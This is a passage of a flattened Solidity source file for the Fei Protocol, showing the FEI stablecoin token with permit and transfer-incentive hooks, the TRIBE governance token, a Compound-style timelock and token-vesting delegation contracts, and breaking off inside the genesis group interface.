* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
// File contracts/fei-protocol/token/IIncentive.sol
pragma solidity ^0.6.2;
/// @title incentive contract interface
/// @author Fei Protocol
/// @notice Called by FEI token contract when transferring with an incentivized address
/// @dev should be appointed as a Minter or Burner as needed
interface IIncentive {
// ----------- Fei only state changing api -----------
/// @notice apply incentives on transfer
/// @param sender the sender address of the FEI
/// @param receiver the receiver address of the FEI
/// @param operator the operator (msg.sender) of the transfer
/// @param amount the amount of FEI transferred
function incentivize(
address sender,
address receiver,
address operator,
uint amount
) external;
}
// File contracts/fei-protocol/token/Fei.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title IFei implementation
/// @author Fei Protocol
contract Fei is IFei, ERC20, ERC20Burnable, CoreRef {
mapping (address => address) public override incentiveContract;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
/// @notice Fei token constructor
/// @param core Fei Core address to reference
constructor(address core) public ERC20("Fei USD", "FEI") CoreRef(core) {
uint chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name())),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function setIncentiveContract(address account, address incentive) external override onlyGovernor {
incentiveContract[account] = incentive;
emit IncentiveContractUpdate(account, incentive);
}
function mint(address account, uint amount) external override onlyMinter {
_mint(account, amount);
emit Minting(account, msg.sender, amount);
}
function burn(uint amount) public override(IFei, ERC20Burnable) {
super.burn(amount);
emit Burning(msg.sender, msg.sender, amount);
}
function burnFrom(address account, uint amount) public override(IFei, ERC20Burnable) onlyBurner {
_burn(account, amount);
emit Burning(account, msg.sender, amount);
}
function _beforeTokenTransfer(address from, address to, uint amount) internal override {
// If not minting or burning
if (from != address(0) && to != address(0)) {
_checkAndApplyIncentives(from, to, amount);
}
}
function _checkAndApplyIncentives(address sender, address recipient, uint amount) internal {
// incentive on sender
address senderIncentive = incentiveContract[sender];
if (senderIncentive != address(0)) {
IIncentive(senderIncentive).incentivize(sender, recipient, msg.sender, amount);
}
// incentive on recipient
address recipientIncentive = incentiveContract[recipient];
if (recipientIncentive != address(0)) {
IIncentive(recipientIncentive).incentivize(sender, recipient, msg.sender, amount);
}
// incentive on operator
address operatorIncentive = incentiveContract[msg.sender];
if (msg.sender != sender && msg.sender != recipient && operatorIncentive != address(0)) {
IIncentive(operatorIncentive).incentivize(sender, recipient, msg.sender, amount);
}
// all incentive
address allIncentive = incentiveContract[address(0)];
if (allIncentive != address(0)) {
IIncentive(allIncentive).incentivize(sender, recipient, msg.sender, amount);
}
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'Fei: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'Fei: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File contracts/fei-protocol/dao/Tribe.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
// Forked from Tribeswap's UNI
// Reference: https://etherscan.io/address/0x1f9840a85d5af5bf1d1762f925bdaddc4201f984#code
contract Tribe {
/// @notice EIP-20 token name for this token
// solhint-disable-next-line const-name-snakecase
string public constant name = "Tribe";
/// @notice EIP-20 token symbol for this token
// solhint-disable-next-line const-name-snakecase
string public constant symbol = "TRIBE";
/// @notice EIP-20 token decimals for this token
// solhint-disable-next-line const-name-snakecase
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
// solhint-disable-next-line const-name-snakecase
uint public totalSupply = 1_000_000_000e18; // 1 billion Tribe
/// @notice Address which may mint new tokens
address public minter;
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when the minter address is changed
event MinterChanged(address minter, address newMinter);
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Tribe token
* @param account The initial account to grant all the tokens
* @param minter_ The account with minting ability
*/
constructor(address account, address minter_) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
minter = minter_;
emit MinterChanged(address(0), minter);
}
/**
* @notice Change the minter address
* @param minter_ The address of the new minter
*/
function setMinter(address minter_) external {
require(msg.sender == minter, "Tribe::setMinter: only the minter can change the minter address");
emit MinterChanged(minter, minter_);
minter = minter_;
}
/**
* @notice Mint new tokens
* @param dst The address of the destination account
* @param rawAmount The number of tokens to be minted
*/
function mint(address dst, uint rawAmount) external {
require(msg.sender == minter, "Tribe::mint: only the minter can mint");
require(dst != address(0), "Tribe::mint: cannot transfer to the zero address");
// mint the amount
uint96 amount = safe96(rawAmount, "Tribe::mint: amount exceeds 96 bits");
uint96 safeSupply = safe96(totalSupply, "Tribe::mint: totalSupply exceeds 96 bits");
totalSupply = add96(safeSupply, amount, "Tribe::mint: totalSupply exceeds 96 bits");
// transfer the amount to the recipient
balances[dst] = add96(balances[dst], amount, "Tribe::mint: transfer amount overflows");
emit Transfer(address(0), dst, amount);
// move delegates
_moveDelegates(address(0), delegates[dst], amount);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Tribe::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Triggers an approval from owner to spends
* @param owner The address to approve from
* @param spender The address to be approved
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Tribe::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Tribe::permit: invalid signature");
require(signatory == owner, "Tribe::permit: unauthorized");
require(now <= deadline, "Tribe::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Tribe::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Tribe::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Tribe::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Tribe::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Tribe::delegateBySig: invalid nonce");
// solhint-disable-next-line not-rely-on-time
require(now <= expiry, "Tribe::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Tribe::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Tribe::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Tribe::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Tribe::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Tribe::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Tribe::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Tribe::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Tribe::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
// solhint-disable-next-line no-inline-assembly
assembly { chainId := chainid() }
return chainId;
}
}
// File contracts/fei-protocol/core/Core.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title ICore implementation
/// @author Fei Protocol
contract Core is ICore, Permissions {
IFei public override fei;
IERC20 public override tribe;
address public override genesisGroup;
bool public override hasGenesisGroupCompleted;
constructor() public {
_setupGovernor(msg.sender);
Fei _fei = new Fei(address(this));
fei = IFei(address(_fei));
Tribe _tribe = new Tribe(address(this), msg.sender);
tribe = IERC20(address(_tribe));
}
function setFei(address token) external override onlyGovernor {
fei = IFei(token);
emit FeiUpdate(token);
}
function setGenesisGroup(address _genesisGroup) external override onlyGovernor {
genesisGroup = _genesisGroup;
}
function allocateTribe(address to, uint amount) external override onlyGovernor {
IERC20 _tribe = tribe;
require(_tribe.balanceOf(address(this)) > amount, "Core: Not enough Tribe");
_tribe.transfer(to, amount);
emit TribeAllocation(to, amount);
}
function completeGenesisGroup() external override {
require(!hasGenesisGroupCompleted, "Core: Genesis Group already complete");
require(msg.sender == genesisGroup, "Core: Caller is not Genesis Group");
hasGenesisGroupCompleted = true;
// solhint-disable-next-line not-rely-on-time
emit GenesisPeriodComplete(now);
}
}
// File contracts/fei-protocol/dao/ITimelockedDelegator.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
interface ITribe is IERC20 {
function delegate(address delegatee) external;
}
/// @title a timelock for TRIBE allowing for sub-delegation
/// @author Fei Protocol
/// @notice allows the timelocked TRIBE to be delegated by the beneficiary while locked
interface ITimelockedDelegator {
// ----------- Events -----------
event Delegate(address indexed _delegatee, uint _amount);
event Undelegate(address indexed _delegatee, uint _amount);
// ----------- Beneficiary only state changing api -----------
/// @notice delegate locked TRIBE to a delegatee
/// @param delegatee the target address to delegate to
/// @param amount the amount of TRIBE to delegate. Will increment existing delegated TRIBE
function delegate(address delegatee, uint amount) external;
/// @notice return delegated TRIBE to the timelock
/// @param delegatee the target address to undelegate from
/// @return the amount of TRIBE returned
function undelegate(address delegatee) external returns(uint);
// ----------- Getters -----------
/// @notice associated delegate proxy contract for a delegatee
/// @param delegatee The delegatee
/// @return the corresponding delegate proxy contract
function delegateContract(address delegatee) external view returns(address);
/// @notice associated delegated amount for a delegatee
/// @param delegatee The delegatee
/// @return uint amount of TRIBE delegated
/// @dev Using as source of truth to prevent accounting errors by transferring to Delegate contracts
function delegateAmount(address delegatee) external view returns(uint);
/// @notice the total delegated amount of TRIBE
function totalDelegated() external view returns(uint);
/// @notice the TRIBE token contract
function tribe() external view returns(ITribe);
}
// File contracts/fei-protocol/dao/Timelock.sol
pragma solidity ^0.6.0;
// Forked from Compound
// See https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol
contract Timelock {
using SafeMath for uint;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint indexed newDelay);
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
uint public constant GRACE_PERIOD = 14 days;
uint public constant MINIMUM_DELAY = 1 hours;
uint public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint public delay;
mapping (bytes32 => bool) public queuedTransactions;
constructor(address admin_, uint delay_) public {
require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
admin = admin_;
delay = delay_;
}
receive() external payable { }
function setDelay(uint delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) {
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returnData) = target.call{value: value}(callData); //solhint-disable avoid-call-value
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint) {
// solhint-disable-next-line not-rely-on-time
return block.timestamp;
}
}
// File @openzeppelin/contracts/access/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File contracts/fei-protocol/utils/LinearTokenTimelock.sol
pragma solidity ^0.6.0;
// Inspired by OpenZeppelin TokenTimelock contract
// Reference: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/TokenTimelock.sol
contract LinearTokenTimelock is Timed {
// ERC20 basic token contract being held
IERC20 public lockedToken;
// beneficiary of tokens after they are released
address public beneficiary;
address public pendingBeneficiary;
uint public initialBalance;
uint internal lastBalance;
event Release(address indexed _beneficiary, uint _amount);
event BeneficiaryUpdate(address indexed _beneficiary);
event PendingBeneficiaryUpdate(address indexed _pendingBeneficiary);
constructor (address _beneficiary, uint32 _duration) public Timed(_duration) {
require(_duration != 0, "LinearTokenTimelock: duration is 0");
beneficiary = _beneficiary;
_initTimed();
}
// Prevents incoming LP tokens from messing up calculations
modifier balanceCheck() {
if (totalToken() > lastBalance) {
uint delta = totalToken() - lastBalance;
initialBalance += delta;
}
_;
lastBalance = totalToken();
}
modifier onlyBeneficiary() {
require(msg.sender == beneficiary, "LinearTokenTimelock: Caller is not a beneficiary");
_;
}
function release() external onlyBeneficiary balanceCheck {
uint amount = availableForRelease();
require(amount != 0, "LinearTokenTimelock: no tokens to release");
lockedToken.transfer(beneficiary, amount);
emit Release(beneficiary, amount);
}
function totalToken() public view virtual returns(uint) {
return lockedToken.balanceOf(address(this));
}
function alreadyReleasedAmount() public view returns(uint) {
return initialBalance - totalToken();
}
function availableForRelease() public view returns(uint) {
uint elapsed = timestamp();
uint _duration = duration;
uint totalAvailable = initialBalance * elapsed / _duration;
uint netAvailable = totalAvailable - alreadyReleasedAmount();
return netAvailable;
}
function setPendingBeneficiary(address _pendingBeneficiary) public onlyBeneficiary {
pendingBeneficiary = _pendingBeneficiary;
emit PendingBeneficiaryUpdate(_pendingBeneficiary);
}
function acceptBeneficiary() public virtual {
_setBeneficiary(msg.sender);
}
function _setBeneficiary(address newBeneficiary) internal {
require(newBeneficiary == pendingBeneficiary, "LinearTokenTimelock: Caller is not pending beneficiary");
beneficiary = newBeneficiary;
emit BeneficiaryUpdate(newBeneficiary);
pendingBeneficiary = address(0);
}
function setLockedToken(address tokenAddress) internal {
lockedToken = IERC20(tokenAddress);
}
}
// File contracts/fei-protocol/dao/TimelockedDelegator.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title a proxy delegate contract for TRIBE
/// @author Fei Protocol
contract Delegatee is Ownable {
ITribe public tribe;
/// @notice Delegatee constructor
/// @param _delegatee the address to delegate TRIBE to
/// @param _tribe the TRIBE token address
constructor(address _delegatee, address _tribe) public {
tribe = ITribe(_tribe);
tribe.delegate(_delegatee);
}
/// @notice send TRIBE back to timelock and selfdestruct
function withdraw() public onlyOwner {
ITribe _tribe = tribe;
uint balance = _tribe.balanceOf(address(this));
_tribe.transfer(owner(), balance);
selfdestruct(payable(owner()));
}
}
/// @title ITimelockedDelegator implementation
/// @author Fei Protocol
contract TimelockedDelegator is ITimelockedDelegator, LinearTokenTimelock {
mapping (address => address) public override delegateContract;
mapping (address => uint) public override delegateAmount;
ITribe public override tribe;
uint public override totalDelegated;
/// @notice Delegatee constructor
/// @param _tribe the TRIBE token address
/// @param _beneficiary default delegate, admin, and timelock beneficiary
/// @param _duration duration of the token timelock window
constructor(address _tribe, address _beneficiary, uint32 _duration) public
LinearTokenTimelock(_beneficiary, _duration)
{
tribe = ITribe(_tribe);
tribe.delegate(_beneficiary);
setLockedToken(_tribe);
}
function delegate(address delegatee, uint amount) public override onlyBeneficiary {
require(amount <= tribeBalance(), "TimelockedDelegator: Not enough Tribe");
if (delegateContract[delegatee] != address(0)) {
amount += undelegate(delegatee);
}
ITribe _tribe = tribe;
address _delegateContract = address(new Delegatee(delegatee, address(_tribe)));
delegateContract[delegatee] = _delegateContract;
delegateAmount[delegatee] = amount;
totalDelegated += amount;
_tribe.transfer(_delegateContract, amount);
emit Delegate(delegatee, amount);
}
function undelegate(address delegatee) public override onlyBeneficiary returns(uint) {
address _delegateContract = delegateContract[delegatee];
require(_delegateContract != address(0), "TimelockedDelegator: Delegate contract nonexistent");
Delegatee(_delegateContract).withdraw();
uint amount = delegateAmount[delegatee];
totalDelegated -= amount;
delegateContract[delegatee] = address(0);
delegateAmount[delegatee] = 0;
emit Undelegate(delegatee, amount);
return amount;
}
/// @notice calculate total TRIBE held plus delegated
/// @dev used by LinearTokenTimelock to determine the released amount
function totalToken() public view override returns(uint256) {
return tribeBalance() + totalDelegated;
}
/// @notice accept beneficiary role over timelocked TRIBE. Delegates all held (non-subdelegated) tribe to beneficiary
function acceptBeneficiary() public override {
_setBeneficiary(msg.sender);
tribe.delegate(msg.sender);
}
function tribeBalance() internal view returns (uint256) {
return tribe.balanceOf(address(this));
}
}
// File contracts/fei-protocol/genesis/IGenesisGroup.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/// @title Equal access to the first bonding curve transaction
/// @author Fei Protocol
interface IGenesisGroup {
// ----------- Events -----------
event Purchase(address indexed _to, uint _value);
event Redeem(address indexed _to, uint _amountIn, uint _amountFei, uint _amountTribe);
event Commit(address indexed _from, address indexed _to, uint _amount);
event Launch(uint _timestamp);
// ----------- State changing API -----------
/// @notice allows for entry into the Genesis Group via ETH. Only callable during Genesis Period.
/// @param to address to send FGEN Genesis tokens to
/// @param value amount of ETH to deposit
function purchase(address to, uint value) external payable;
/// @notice redeem FGEN genesis tokens for FEI and TRIBE. Only callable post launch
/// @param to address to send redeemed FEI and TRIBE to.
function redeem(address to) external;
/// @notice commit Genesis FEI to purchase TRIBE in DEX offering
/// @param from address to source FGEN Genesis shares from
/// @param to address to earn TRIBE and redeem post launch
/// @param amount of FGEN Genesis shares to commit
function commit(address from, address to, uint amount) external;
